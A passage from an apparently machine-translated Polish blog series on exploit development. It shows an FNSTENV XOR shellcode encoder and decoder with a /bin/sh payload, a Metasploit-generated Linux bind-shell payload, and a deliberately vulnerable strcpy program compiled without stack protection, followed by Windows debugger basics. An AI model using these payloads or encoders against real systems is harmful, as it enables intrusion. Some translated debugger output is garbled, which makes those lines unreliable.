Jak widać, dwunasty bajt rekordu środowiska FPU zawiera rozszerzony wskaźnik instrukcji (EIP) ostatniej wywołanej instrukcji FPU. Tak więc w poniższym przykładzie najpierw wywołamy nieszkodliwą instrukcję FPU (FABS), a następnie wywołamy polecenie FNSTENV, aby wyodrębnić EIP polecenia FABS. Ponieważ eip znajduje się 12 bajtów wewnątrz zwróconego rekordu FPU, zapiszemy rekord 12 bajtów przed wierzchołkiem stosu (ESP-0x12), co spowoduje umieszczenie wartości eip na szczycie naszego stosu. Następnie zdejmiemy wartość ze stosu do rejestru w celu użycia podczas dekodowania.

BT book # cat ./fnstenv.asm
[BITS 32]
global _start
_start:
fabs ;1. innocuous FPU instruction
fnstenv [esp-0xc] ;2. dump FPU environ. record at ESP-12
pop edx ;3. pop eip of fabs FPU instruction to edx
add dl, 00 ;4. offset from fabs -> xor buffer
(placeholder)
short_xor_beg:
xor ecx,ecx ;5. clear ecx to use for loop
mov cl, 0x18 ;6. size of xor'd payload
short_xor_xor:
xor byte [edx], 0x00 ;7. the byte to xor with (key placeholder)
inc edx ;8. increment EDX to next byte
loop short_xor_xor ;9. loop through all of shellcode
shellcode:
; the decoded shellcode goes here.

Po uzyskaniu lokalizacji FABS (wiersz 3 poprzedzający), musimy dostosować go tak, aby wskazywał początek zdekodowanego kodu powłoki. Zbierzmy teraz, połączmy i zrzućmy rozkazy dekodera.

BT book # nasm -f elf fnstenv.asm
BT book # ld -o fnstenv fnstenv.o
BT book # objdump -d ./fnstenv
./fnstenv2: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: d9 e1 fabs
8048082: d9 74 24 f4 fnstenv 0xfffffff4(%esp)
8048086: 5a pop %edx
8048087: 80 c2 00 add $0x0,%dl
0804808a < short_xor_beg >:
804808a: 31 c9 xor %ecx,%ecx
804808c: b1 18 mov $0x18,%cl
0804808e < short_xor_xor >:
804808e: 80 32 00 xorb $0x0,(%edx)
8048091: 42 inc %edx
8048092: e2 fa loop 804808e < short_xor_xor >
BT book #
Nasz dekoder FNSTENV można przedstawić binarnie w następujący sposób:
char decoder[] =
"\xd9\xe1\xd9\x74\x24\xf4\x5a\x80\xc2\x00\x31"
"\xc9\xb1\x18\x80\x32\x00\x42\xe2\xfa";


Powrót

15.11.2020

Układając wszystko razem

Teraz połączymy to razem i zbudujemy program testowy kodera i dekodera FNSTENV.

BT book # cat encoder.c
#include < sys/time.h >
#include < stdlib.h >
#include < unistd.h >
int getnumber(int quo) { //random number generator function
int seed;
struct timeval tm;
gettimeofday( &tm, NULL );
seed = tm.tv_sec + tm.tv_usec;
srandom( seed );
return (random() % quo);
}
void execute(char *data){ //test function to execute encoded shellcode
printf("Executing...\n");
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)data;
}
void print_code(char *data) { //prints out the shellcode
int i,l = 15;
for (i = 0; i < strlen(data); ++i) {
if (l >= 15) {
if (i)
printf("\"\n");
printf("\t\"");
l = 0;
}
++l;
printf("\\x%02x", ((unsigned char *)data)[i]);
}
printf("\";\n\n");
}
int main() { //main function
char shellcode[] = //original shellcode
"\x31\xc0\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int count;
int number = getnumber(200); //random number generator
int badchar = 0; //used as flag to check for bad chars
int ldecoder; //length of decoder
int lshellcode = strlen(shellcode); //store length of shellcode
char *result;
//simple fnstenv xor decoder, NULL are overwritten with length and key.
char decoder[] = "\xd9\xe1\xd9\x74\x24\xf4\x5a\x80\xc2\x00\x31"
"\xc9\xb1\x18\x80\x32\x00\x42\xe2\xfa";
printf("Using the key: %d to xor encode the shellcode\n",number);
decoder[9] += 0x14; //length of decoder
decoder[16] += number; //key to encode with
ldecoder = strlen(decoder); //calculate length of decoder
printf("\nchar original_shellcode[] =\n");
print_code(shellcode);
do { //encode the shellcode
if(badchar == 1) { //if bad char, regenerate key
number = getnumber(10);
decoder[16] += number;
badchar = 0;
}
for(count=0; count < lshellcode; count++) { //loop through shellcode
shellcode[count] = shellcode[count] ^ number; //xor encode byte
if(shellcode[count] == '\0') { // other bad chars can be listed here
badchar = 1; //set bad char flag, will trigger redo
}
}
} while(badchar == 1); //repeat if badchar was found
result = malloc(lshellcode + ldecoder);
strcpy(result,decoder); //place decoder in front of buffer
strcat(result,shellcode); //place encoded shellcode behind decoder
printf("\nchar encoded[] =\n"); //print label
print_code(result); //print encoded shellcode
execute(result); //execute the encoded shellcode
}
BT book #
Teraz skompiluj go i uruchom trzy razy..
BT book # gcc -o encoder encoder.c
BT book # ./encoder
Using the key: 149 to xor encode the shellcode
char original_shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
char encoded[] =
"\xd9\xe1\xd9\x74\x24\xf4\x5a\x80\xc2\x14\x31\xc9\xb1\x18\x80"
"\x32\x95\x42\xe2\xfa\xa4\x55\x0c\xc7\xfd\xba\xba\xe6\xfd\xfd"
"\xba\xf7\xfc\xfb\x1c\x76\xc5\xc6\x1c\x74\x25\x9e\x58\x15";
Executing...
sh-3.1# exit
exit
BT book # ./encoder
Using the key: 104 to xor encode the shellcode
char original_shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
char encoded[] =
"\xd9\xe1\xd9\x74\x24\xf4\x5a\x80\xc2\x14\x31\xc9\xb1\x18\x80"
"\x32\x6f\x42\xe2\xfa\x5e\xaf\xf6\x3d\x07\x40\x40\x1c\x07\x07"
"\x40\x0d\x06\x01\xe6\x8c\x3f\x3c\xe6\x8e\xdf\x64\xa2\xef";
Executing...
sh-3.1# exit
exit
BT book # ./encoder
Using the key: 96 to xor encode the shellcode
char original_shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
char encoded[] =
"\xd9\xe1\xd9\x74\x24\xf4\x5a\x80\xc2\x14\x31\xc9\xb1\x18\x80"
"\x32\x60\x42\xe2\xfa\x51\xa0\xf9\x32\x08\x4f\x4f\x13\x08\x08"
"\x4f\x02\x09\x0e\xe9\x83\x30\x33\xe9\x81\xd0\x6b\xad\xe0";
Executing...
sh-3.1# exit
exit
BT book #

Jak widać, oryginalny kod powłoki jest kodowany i dołączany do dekodera. Dekoder jest nadpisywany w czasie wykonywania, aby zastąpić NULL bajty odpowiednio długością i kluczem. Zgodnie z oczekiwaniami, za każdym razem, gdy program jest wykonywany, generowany jest nowy zestaw zakodowanego kodu powłoki. Jednak większość dekodera pozostaje taka sama. Istnieją sposoby na dodanie entropii do dekodera. Fragmenty dekodera można wykonać na wiele sposobów. Na przykład, zamiast używać instrukcji add, moglibyśmy użyć instrukcji sub. Podobnie moglibyśmy użyć dowolnej liczby instrukcji FPU zamiast FABS. Tak więc możemy podzielić dekoder na mniejsze, wymienne części i losowo złożyć je razem, aby wykonać to samo zadanie i uzyskać pewien poziom zmian przy każdym wykonaniu.


Powrót

16.11.2020

Automatyzacja generowania kodu powłoki za pomocą Metasploit

Teraz, gdy nauczyłeś się "długiego dzielenia", pokażmy, jak używać "kalkulatora". Pakiet Metasploit zawiera narzędzia pomagające w generowaniu i kodowaniu shellcode.

Generowanie kodu powłoki za pomocą Metasploit

Polecenie msfpayload jest dostarczane z Metasploit i automatyzuje generowanie kodu powłoki.

allen@IBM-4B5E8287D50 ~/framework
$ ./msfpayload
Usage: ./msfpayload [var=val]
Payloads:
bsd_ia32_bind BSD IA32 Bind Shell
bsd_ia32_bind_stg BSD IA32 Staged Bind Shell
bsd_ia32_exec BSD IA32 Execute Command
… truncated for brevity
linux_ia32_bind Linux IA32 Bind Shell
linux_ia32_bind_stg Linux IA32 Staged Bind Shell
linux_ia32_exec Linux IA32 Execute Command
… truncated for brevity
win32_adduser Windows Execute net user /ADD
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
…truncated for brevity

Zwróć uwagę na możliwe formaty wyjściowe:

•  Podsumowanie S, aby uwzględnić opcje ładunku
•  Format języka C C.
•  Format P Perl
•  Format R Raw, przyjemny do przenoszenia do msfencode i innych narzędzi
•  X Export do formatu wykonywalnego (tylko Windows)

Wybierzemy ładunek linux_ia32_bind. Aby sprawdzić opcje, wystarczy podać typ.

allen@IBM-4B5E8287D50 ~/framework
$ ./msfpayload linux_ia32_bind
Name: Linux IA32 Bind Shell
Version: $Revision: 1638 $
OS/CPU: linux/x86
Needs Admin: No
Multistage: No
Total Size: 84
Keys: bind
Provided By:
skape < miller [at] hick.org >
vlad902 < vlad902 [at] gmail.com >
Available Options:
Options: Name Default Description
-------- ------ ------- -----------------------------
required LPORT 4444 Listening port for bind shell
Advanced Options:
Advanced (Msf::Payload::linux_ia32_bind):
-----------------------------------------
Opis:
Nasłuchuj połączenia i spawn powłokę

Żeby pokazać, zmienimy port lokalny na 3333 i użyjemy formatu wyjściowego C.

allen@IBM-4B5E8287D50 ~/framework
$ ./msfpayload linux_ia32_bind LPORT=3333 C
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x0d\x05\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";
Wow, that was easy!


Powrót

17.11.2020

Podstawowe programy wykorzystujące luki w zabezpieczeniach systemu Windows

Do tego momentu używaliśmy Linuksa jako preferowanej platformy, ponieważ większości ludzi zainteresowanych hakowaniem łatwo jest zdobyć maszynę z Linuksem do eksperymentów. Jednak wiele interesujących błędów, które będziesz chciał wykorzystać, znajduje się na często używanej platformie Windows. Na szczęście te same błędy można w dużej mierze wykorzystać tak samo w Linuksie i Windowsie, ponieważ oba są sterowane przez ten sam język asemblera pod maską. Dlatego w tym rozdziale porozmawiamy o tym, skąd wziąć narzędzia do tworzenia exploitów dla systemu Windows, pokażemy, jak z nich korzystać, i przetworzymy jeden z przykładów Linuksa z rozdziału 6, tworząc ten sam exploit w systemie Windows. Kompilowanie i debugowanie programów Windows Narzędzia programistyczne nie są dołączone do systemu Windows, ale nie oznacza to, że musisz wydać 1000 USD na program Visual Studio, aby eksperymentować z pisaniem exploitów. (Jeśli już go masz, nie wahaj się użyć go). Możesz bezpłatnie pobrać ten sam kompilator i debugger firmy Microsoft w pakiecie z Visual Studio .NET 2003 Professional. W tej sekcji pokażemy, jak wstępnie skonfigurować stację roboczą wykorzystującą luki w systemie Windows.


Powrót

18.11.2020

Kompilacja w systemie Windows

Optymalizujący kompilator i konsolidator C / C ++ firmy Microsoft są dostępne bezpłatnie pod adresem http://msdn.microsoft.com/vstudio/express/visualc/default.aspx. Po pobraniu 32 MB i prostej instalacji pojawi się łącze menu Start do wersji Visual C ++ Express Edition. Kliknij skrót, aby uruchomić wiersz polecenia ze środowiskiem skonfigurowanym do kompilowania kodu. Aby to przetestować, zacznijmy od przykładu meet.c, który przedstawiliśmy wcześniej, a następnie wykorzystaliśmy w Linuksie. Wpisz przykład lub skopiuj go z komputera z systemem Linux, na którym został zbudowany wcześniej.

C:\grayhat>type hello.c
//hello.c
#include < stdio.h >
main ( ) {
printf("Hello haxor");
}
Kompilatorem systemu Windows jest cl.exe. Przekazanie kompilatorowi nazwy pliku źródłowego spowoduje wygenerowanie hello.exe. (Pamiętaj, że kompilacja to po prostu proces przekształcania czytelnego dla człowieka kodu źródłowego w odczytywalne maszynowo pliki binarne, które mogą być przetrawione przez komputer i wykonane).

C:\grayhat>cl hello.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 14.00.50727.42 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
hello.c
Microsoft (R) Incremental Linker Version 8.00.50727.42
Copyright (C) Microsoft Corporation. All rights reserved.
/out:hello.exe
hello.obj
C:\grayhat>hello.exe
Hello haxor

Całkiem proste, co? Przejdźmy do tworzenia programu, który będziemy wykorzystywać w dalszej części. Utwórz meet.c z w cześniejszej sekji i skompiluj go za pomocą cl.exe.

C:\grayhat>type meet.c
//meet.c
#include < stdio.h >
greeting(char *temp1, char *temp2) {
char name[400];
strcpy(name, temp2);
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
greeting(argv[1], argv[2]);
printf("Bye %s %s\n", argv[1], argv[2]);
}
C:\grayhat>cl meet.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 14.00.50727.42 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
meet.c
Microsoft (R) Incremental Linker Version 8.00.50727.42
Copyright (C) Microsoft Corporation. All rights reserved.
/out:meet.exe
meet.obj
C:\grayhat>meet.exe Mr. Haxor
Hello Mr. Haxor
Bye Mr. Haxor


Powrót

19.11.2020

Opcje kompilatora systemu Windows

Jeśli wpiszesz cl.exe /?, Otrzymasz ogromną listę opcji kompilatora. Większość z nich nie jest dla nas w tym momencie interesująca. Poniższa tabela zawiera flagi, których będziesz używać w tych sekcjach.

Opcja: Opis

/ Zi: generuje dodatkowe informacje debugowania, przydatne podczas korzystania z debugera systemu Windows, który pokażemy później.
/ Fe: Podobna do opcji -o w gcc. Kompilator systemu Windows domyślnie nazywa plik wykonywalny tak samo jak źródło z dołączonym plikiem .exe. Jeśli chcesz nadać mu inną nazwę, określ tę flagę, a po niej żądaną nazwę EXE.
/ GS [-]: Flaga / GS jest domyślnie włączona w Microsoft Visual Studio 2005 i zapewnia ochronę stosu. Aby wyłączyć go do testowania, użyj flagi / GS-.
Ponieważ w następnej kolejności będziemy używać debugera, utwórzmy meet.exe z pełnymi informacjami o debugowaniu i wyłączmy standardowe funkcje stosu.
UWAGA: Przełącznik / GS umożliwia implementację przez firmę Microsoft ochrony stosu typu canary, która jest dość skuteczna w powstrzymywaniu ataków z powodu przepełnienia bufora. Aby dowiedzieć się o istniejących lukach w oprogramowaniu (zanim ta funkcja była dostępna), wyłączymy ją za pomocą flagi / GS-.

C:\grayhat>cl /Zi /GS- meet.c
…output truncated for brevity…
C:\grayhat>meet Mr Haxor
Hello Mr Haxor
Bye Mr Haxor

Świetnie, teraz, gdy masz plik wykonywalny zbudowany z informacjami o debugowaniu, czas zainstalować debuger i zobaczyć, jak debugowanie w systemie Windows wypada w porównaniu z debugowaniem w systemie Unix.

UWAGA Jeśli cały czas używasz tych samych flag kompilatora, możesz ustawić argumenty wiersza poleceń w środowisku za pomocą polecenia set w następujący sposób: C: \ grayhat> ustaw CL = / Zi / GS-


Powrót

20.11.2020

GSDebugging w systemie Windows z debuggerami konsoli Windows

Oprócz bezpłatnego kompilatora firma Microsoft udostępnia również swój debugger. Jest to plik do pobrania o rozmiarze 10 MB, który instaluje debugger i kilka pomocnych narzędzi do debugowania. Gdy kreator instalacji debugera zapyta o lokalizację, w której chcesz zainstalować debuger, wybierz krótką nazwę katalogu w katalogu głównym dysku. Przykłady nasze zakładają, że twój debugger jest zainstalowany w c: \ debuggers (znacznie łatwiejsze do wpisania niż C: \ Program Files \ Debugging Tools for Windows):

C:\debuggers>dir *.exe
Volume in drive C is LOCAL DISK
Volume Serial Number is C819-53ED
Directory of C:\debuggers
05/18/2004 12:22 PM 5,632 breakin.exe
05/18/2004 12:22 PM 53,760 cdb.exe
05/18/2004 12:22 PM 64,000 dbengprx.exe
04/16/2004 06:18 PM 68,096 dbgrpc.exe
05/18/2004 12:22 PM 13,312 dbgsrv.exe
05/18/2004 12:23 PM 6,656 dumpchk.exe
…Dane wyjściowe zostały obcięte dla zwięzłości…


Powrót

21.11.2020

CDB, NTSD, WinDbg

W rzeczywistości na powyższej liście programów znajdują się trzy debugery. CDB (Microsoft Console Debugger) i NTSD (Microsoft NT Symbolic Debugger) to bazujące na znakach debugery konsoli, które działają w ten sam sposób i odpowiadają na te same polecenia. Jedyna różnica polega na tym, że NTSD uruchamia nowe okno tekstowe po uruchomieniu, podczas gdy CDB dziedziczy okno poleceń, z którego zostało wywołane. Jeśli ktoś powie ci, że istnieją inne różnice między dwoma debugerami konsoli, prawie na pewno używał starych wersji jednego lub drugiego. Trzeci debugger to WinDbg, debugger systemu Windows z pełnym GUI. Jeśli wolisz używać aplikacji GUI niż aplikacji konsolowych, możesz preferować WinDbg. Znowu odpowiada na te same polecenia i działa w taki sam sposób pod GUI, jak CDB i NTSD. Zaletą korzystania z programu WinDbg (lub dowolnego innego debugera graficznego) jest to, że można otworzyć wiele okien, z których każde zawiera inne dane do monitorowania podczas wykonywania programu. Na przykład, możesz otworzyć jedno okno z kodem źródłowym, drugie z towarzyszącymi instrukcjami asemblacji, a trzecie z listą punktów przerwania.


Powrót

22.11.2020

Polecenia debugera systemu Windows

Jeśli znasz już debugowanie, debugger systemu Windows będzie bardzo łatwy do pobrania. Oto tabela często używanych poleceń debuggera, specjalnie dostosowanych do wykorzystania gdb:

Polecenie: gdb Equiv: Opis

bp < adres >: b * mem: Ustawia punkt przerwania pod określonym adresem pamięci.
bp < funkcja >, bm < funkcja >: b < funkcja >: Ustawia punkt przerwania dla określonej funkcji. bm jest przydatny do użycia z symbolami wieloznacznymi (jak pokazano później).
bl: info b: Wyświetla informacje o istniejących punktach przerwania
bc : delete b: Czyści (usuwa) punkt przerwania lub zakres punktów przerwania.
g: Run: Idź / kontynuuj.
r: info reg: Wyświetla (lub modyfikuje) zawartość rejestru.
p: next lub n: Step over, wykonuje całą funkcję lub pojedynczą instrukcję lub linię źródłową.
t: step or s: wejście lub wykonanie pojedynczej instrukcji.
k (kb / kP): bt: Wyświetla ślad stosu, opcjonalnie także argumenty funkcji.
.frame < # >: góra / dół: Zmienia kontekst stosu używany do interpretacji poleceń i zmiennych lokalnych. "Przejdź do innej ramki stosu".
dd < address >, (da / db / du): x / NT A: Wyświetla pamięć. dd = wartości dword, da = znaki ASCII, db = wartości bajtów i ASCII, du = Unicode.
dt < variable >: P < variable >: Wyświetla zawartość zmiennej i informacje o typie.
dv / V: p: Wyświetla zmienne lokalne (specyficzne dla bieżącego kontekstu).
uf < funkcja >, u < adres >: disassemble < funkcja >: Wyświetla tłumaczenie asemblera funkcji lub zespołu pod określonym adresem.
q: quit: wyjście z debuggera.

Te polecenia wystarczą, aby rozpocząć. Więcej informacji na temat debuggera można znaleźć w pliku pomocy HTML debugger.chm znajdującym się w katalogu instalacyjnym debuggera. (Użyj hh debugger.chm, aby go otworzyć.) Opis polecenia znajduje się w sekcji Te polecenia wystarczą, aby rozpocząć. Więcej informacji na temat debuggera można znaleźć w pliku pomocy HTML debugger.chm znajdującym się w katalogu instalacyjnym debuggera. (Użyj hh debugger.chm, aby go otworzyć.) Opis polecenia znajduje się w sekcji Debugger Reference | Debugger Commands | Commands


Powrót

23.11.2020

Symbole i serwer symboli

Ostatnią rzeczą, którą musisz zrozumieć, zanim zaczniemy debugowanie, jest cel symboli. Symbole łączą nazwy funkcji i argumenty z przesunięciami w skompilowanym pliku wykonywalnym lub DLL. Możesz debugować bez symboli, ale jest to ogromny problem. Na szczęście firma Microsoft udostępnia symbole dla swoich wydanych systemów operacyjnych. Możesz pobrać wszystkie symbole dla swojego konkretnego systemu operacyjnego, ale wymagałoby to dużej ilości miejsca na dysku lokalnym. Lepszym sposobem uzyskiwania symboli jest użycie serwera symboli firmy Microsoft i pobieranie symboli w razie potrzeby. Debugery systemu Windows ułatwiają to, udostępniając plik symsrv.dll, którego możesz użyć do skonfigurowania lokalnej pamięci podręcznej symboli i określenia lokalizacji, aby uzyskać nowe symbole, gdy ich potrzebujesz. Odbywa się to za pomocą zmiennej środowiskowej _NT_ SYMBOL_PATH. Musisz ustawić tę zmienną środowiskową, aby debugger wiedział, gdzie szukać symboli. Jeśli masz już wszystkie symbole, których potrzebujesz lokalnie, możesz po prostu ustawi zmienną na ten katalog w następujący sposób:
C: \ grayhat> set _NT_SYMBOL_PATH = c: \ symbols
Jeśli (bardziej prawdopodobne) chciałbyś użyć serwera symboli, składnia jest następująca:
C: \ grayhat> set _NT_SYMBOL_PATH = symsrv * symsrv.dll * c: \ symbols * http: // msdl.microsoft.com/download/symbols Korzystając z powyższej składni, debugger najpierw szuka potrzebnych symboli w c: \ symbols. Jeśli nie może ich tam znaleźć, pobierze je z publicznego serwera symboli firmy Microsoft. Po ich pobraniu umieści pobrane symbole w c: \ symbols, oczekując, że katalog będzie istniał, więc będą dostępne lokalnie, gdy będą potrzebne następnym razem. Konfigurowanie ścieżki symboli w celu korzystania z serwera symboli jest typową konfiguracją, a firma Microsoft ma krótszą wersję, która robi dokładnie to samo, co poprzednia składnia:
C: \ grayhat> set _NT_SYMBOL_PATH = srv * c: \ symbols * http: //msdl.microsoft.com/download / symbols
Teraz, gdy mamy zainstalowany debugger, poznaliśmy podstawowe polecenia i ustawiliśmy naszą ścieżkę symboli, uruchommy debugera po raz pierwszy. Będziemy debugować plik meet.exe, który utworzyliśmy na podstawie informacji o debugowaniu (symboli) w poprzedniej sekcji.


Powrót

24.11.2020

Uruchamianie debuggera

W tym rozdziale użyjemy debugera cdb. Jeśli wolisz, możesz skorzystać z debugera graficznego interfejsu użytkownika WinDbg, ale może się okazać, że debugger wiersza poleceń będzie łatwiejszym debugerem szybkiego uruchamiania. Aby uruchomić cdb, przekaż mu plik wykonywalny do uruchomienia i wszelkie argumenty wiersza poleceń.

C:\grayhat>md c:\symbols
C:\grayhat>set _NT_SYMBOL_PATH=srv*c:\symbols*http://msdl.microsoft.com/download/symbols
C:\grayhat>c:\debuggers\cdb.exe meet Mr Haxor
…output truncated for brevity…
(280.f60): Break instruction exception - code 80000003 (first chance)
eax=77fc4c0f ebx=7ffdf000 ecx=00000006 edx=77f51340 esi=00241eb4 edi=00241eb4
eip=77f75554 esp=0012fb38 ebp=0012fc2c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
77f75554 cc int 3
0:000>
0: 000> k
ChildEBP RetAddr
0012fb34 77f6462c ntdll! DbgBreakPoint
0012fc90 77f552e9 ntdll! LdrpInitializeProcess + 0xda4
0012fd1c 77f75883 ntdll! LdrpInitialize + 0x186
00000000 00000000 ntdll! KiUserApcDispatcher + 0x7

Okazuje się, że debugger Windows automatycznie włamuje się po zainicjowaniu procesu przed rozpoczęciem wykonywania. (Możesz wyłączyć ten punkt przerwania, przekazując -g do cdb w wierszu poleceń). Jest to przydatne, ponieważ w tym początkowym punkcie przerwania program został załadowany i możesz ustawić dowolne punkty przerwania w programie przed wykonaniem zaczyna się. Ustawmy punkt przerwania na main:

0:000> bm meet!main
*** WARNING: Unable to verify checksum for meet.exe
1: 00401060 meet!main
0:000> bl
1 e 00401060 0001 (0001) 0:*** meet!main

(Zignoruj ostrzeżenie o sumie kontrolnej). Następnie uruchommy wykonywanie po inicjalizacji ntdll do naszej głównej funkcji.

0:000> g
Breakpoint 1 hit
eax=00320e60 ebx=7ffdf000 ecx=00320e00 edx=00000003 esi=00000000 edi=00085f38
eip=00401060 esp=0012fee0 ebp=0012ffc0 iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
meet!main:
00401060 55 push ebp
0:000> k
ChildEBP RetAddr
0012fedc 004013a0 meet!main
0012ffc0 77e7eb69 meet!mainCRTStartup+0x170
0012fff0 00000000 kernel32!BaseProcessStart+0x23

(Jeśli widziałeś ruch sieciowy lub doświadczyłeś opóźnienia, prawdopodobnie był to debugger pobierający symbole kernel32.) Aha! Przekroczyliśmy punkt przerwania i ponownie, rejestry są wyświetlane. Polecenie, które zostanie następnie uruchomione, to push ebp, pierwsza instrukcja asemblera w standardowym prologu funkcji. Teraz możesz pamiętać, że w gdb wyświetlana jest aktualnie wykonywana linia źródłowa. Sposobem na włączenie tego w cdb jest polecenie l + s. Jednak nie przyzwyczajaj się zbytnio do wyświetlania linii źródłowej, ponieważ jako haker prawie nigdy nie będziesz mieć rzeczywistego źródła do wyświetlenia. W tym przypadku można wyświetlać wiersze źródła w zachęcie, ale nie chcesz włączać debugowania w trybie źródła (l + t), ponieważ gdybyś to zrobił, każdy "krok" przez źródło byłby jednym wierszem źródłowym , ani jednej instrukcji montażu. Aby uzyskać więcej informacji na ten temat, wyszukaj hasło "Debugowanie w trybie źródłowym" w pomocy debugera (debugger.chm). Z drugiej strony, polecenie .lines zmodyfikuje ślad stosu, aby wyświetlić aktualnie wykonywaną linię. Otrzymasz informacje o liniach za każdym razem, gdy masz prywatne symbole dla pliku wykonywalnego lub biblioteki DLL, którą debugujesz.

0: 000> .lines
Informacje o numerze linii zostaną załadowane
0: 000> k
ChildEBP RetAddr
0012fedc 004013a0 Meet! Main [c: \ grayhat \ meet.c @ 8]
0012ffc0 77e7eb69 Meet! MainCRTStartup + 0x170
[f: \ vs70builds \ 3077 \ vc \ crtbld \ crt \ src \ crt0.c @ 259]
0012fff0 00000000 kernel32! BaseProcessStart + 0x23

Jeśli będziemy kontynuować ten punkt przerwania, nasz program zakończy wykonywanie:

0: 000> g
Witam panie Haxor
Pa, panie Haxor
eax = c0000135 ebx = 00000000 ecx = 00000000 edx = 00000000 esi = 77f5c2d8 edi = 00000000
eip = 7ffe0304 esp = 0012fda4 ebp = 0012fe9c iopl = 0 nv up ei pl nz na pe nc
cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 0038 gs = 0000 efl = 00000202
SharedUserData! SystemCallStub + 0x4:
7ffe0304 c3 ret
0: 000> k
ChildEBP RetAddr
0012fda0 77f5c2e4 SharedUserData! SystemCallStub + 0x4
0012fda4 77e75ca4 ntdll! ZwTerminateProcess + 0xc
0012fe9c 77e75cc6 kernel32! _ExitProcess + 0x57
0012feb0 00403403 kernel32! ExitProcess + 0x11
0012fec4 004033b6 spotkać! __ crtExitProcess + 0x43
[f: \ vs70builds \ 3077 \ vc \ crtbld \ crt \ src \ crt0dat.c @ 464]
0012fed0 00403270 Meet! Doexit + 0xd6
[f: \ vs70builds \ 3077 \ vc \ crtbld \ crt \ src \ crt0dat.c @ 414]
0012fee4 004013b5 Meet! Exit + 0x10
[f: \ vs70builds \ 3077 \ vc \ crtbld \ crt \ src \ crt0dat.c @ 303]
0012ffc0 77e7eb69 Meet! MainCRTStartup + 0x185
[f: \ vs70builds \ 3077 \ vc \ crtbld \ crt \ src \ crt0.c @ 267]
0012fff0 00000000 kernel32! BaseProcessStart + 0x23

Jak widać, oprócz początkowego punktu przerwania przed rozpoczęciem wykonywania programu, debugger systemu Windows również włamuje się po zakończeniu wykonywania programu, tuż przed zakończeniem procesu. Możesz ominąć ten punkt przerwania, przekazując cdb flagę -G. Następnie wyjdźmy z debugera i uruchommy go ponownie (lub użyj polecenia .restart), aby zbadać dane, którymi manipulował program i przyjrzeć się zespołowi wygenerowanemu przez kompilator.


Powrót

25.11.2020

Poznawanie debugera systemu Windows

Następnie zbadamy, jak znaleźć dane, których używa debugowana aplikacja. Najpierw uruchommy debugera i ustawmy punkty przerwania dla funkcji main i funkcji powitania. W tej sekcji ponownie pokazane adresy pamięci prawdopodobnie będą się różnić od adresów pamięci, które widzisz, więc sprawdź, skąd pochodzi wartość w tym przykładowym wyjściu, zanim użyjesz jej bezpośrednio.

C:\grayhat>c:\debuggers\cdb.exe meet Mr Haxor

0:000> bm meet!main
*** WARNING: Unable to verify checksum for meet.exe
1: 00401060 meet!main
0:000> bm meet!*greet*
2: 00401020 meet!greeting
0:000> g
Breakpoint 1 hit

meet!main:
00401060 55 push ebp
0:000 >
Patrząc na źródło, wiemy, że main powinno zostać przekazane do wiersza poleceń używanego do uruchomienia programu poprzez licznik ciągów poleceń argc i argv, które wskazują na tablicę łańcuchów. Aby to sprawdzić, użyjemy dv do wyświetlenia zmiennych lokalnych, a następnie będziemy przeszukiwać pamięć za pomocą dt i db, aby znaleźć wartość tych zmiennych.
0:000 dv /V
0012fee4 @ebp+0x08 argc = 3
0012fee8 @ebp+0x0c argv = 0x00320e00
0:000> dt argv
Local var @ 0x12fee8 Type char**
0x00320e00
-> 0x00320e10 "meet"

Na wyjściu dv widzimy, że argc i argv są rzeczywiście zmiennymi lokalnymi z argc przechowywanymi 8 bajtów za lokalnym ebp, a argv przechowywanymi pod adresem ebp + 0xc. Polecenie dt pokazuje, że typ danych argv jest wskaźnikiem do wskaźnika znakowego. Adres 0x00320e00 przechowuje ten wskaźnik do 0x00320e10, gdzie faktycznie znajdują się dane. Ponownie, to są nasze wartości - Twoje prawdopodobnie będą inne.

0:000> db 0x00320e10
00320e10 6d 65 65 74 00 4d 72 00-48 61 78 6f 72 00 fd fd meet.Mr.Haxor...

Kontynuujmy, dopóki nie osiągniemy drugiego punktu przerwania w funkcji powitania.

0:000> g
Breakpoint 2 hit

meet!greeting:
00401020 55 push ebp
0:000 > kP
ChildEBP RetAddr
0012fecc 00401076 meet!greeting(
char * temp1 = 0x00320e15 "Mr",
char * temp2 = 0x00320e18 "Haxor")
0012fedc 004013a0 meet!main(
int argc = 3,
char ** argv = 0x00320e00)+0x16
0012ffc0 77e7eb69 meet!mainCRTStartup(void)+0x170
0012fff0 00000000 kernel32!BaseProcessStart+0x23

